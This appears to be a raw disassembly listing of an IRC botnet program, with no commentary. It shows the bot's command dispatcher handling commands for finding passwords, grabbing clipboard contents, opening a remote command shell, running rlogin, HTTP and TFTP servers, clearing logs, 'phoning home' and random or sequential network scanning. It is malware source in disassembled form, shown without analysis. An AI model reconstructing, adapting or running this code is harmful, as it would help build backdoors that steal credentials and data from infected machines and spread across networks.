		push	offset aLg	; "lg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C580
		push	offset dword_42C574
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C570
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C55C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------

loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]

loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------

loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"

loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C52C
		call	sub_415D38
		pop	ecx

loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4F8
		push	eax
		mov	dword_4CF190, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869

loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------

loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C450
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------

loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823

loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------

loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446

loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3D0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403778

loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_403762
; ---------------------------------------------------------------------------

loc_403778:				; CODE XREF: sub_401ACD+1C93j
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_42C394
		jmp	loc_4082CF
; ---------------------------------------------------------------------------

loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319EA
		jz	loc_401F75
		mov	ecx, edx

loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx

loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C358
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------

loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431808, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_431808
		lea	edi, [eax-0Ah]

loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------

loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431808[ecx]
		mov	[ebp+var_74C], ecx

loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB988
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D

loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB

loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB98
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------

loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl

loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"

loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2D8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403A2C

loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------

loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		nop
		call	near ptr 269096Bh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C29C
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx

loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------

loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C264
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C244
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------

loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2680000h
		nop

loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_42910C

loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C210
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403BB9

loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------

loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42C1D4
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------

loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C

loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------

loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		nop
		call	near ptr 2680A31h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h

loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl

loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C198
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403D2B

loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_403D19
; ---------------------------------------------------------------------------

loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42C15C

loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------

loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------

loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080

loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]

loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB98

loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C120
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403E80

loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------

loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42C0E4
		jmp	loc_403D37
; ---------------------------------------------------------------------------

loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------

loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621

loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------

loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB900
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0C0
		jmp	short loc_403EED
; ---------------------------------------------------------------------------

loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C094
		jmp	short loc_403EED
; ---------------------------------------------------------------------------

loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C068

loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------

loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C044
		jmp	short loc_403EED
; ---------------------------------------------------------------------------

loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C018
		jmp	short loc_403EED
; ---------------------------------------------------------------------------

loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C000
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFE4
		jmp	loc_40423F
; ---------------------------------------------------------------------------

loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFB8
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------

loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF90
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------

loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF70

loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
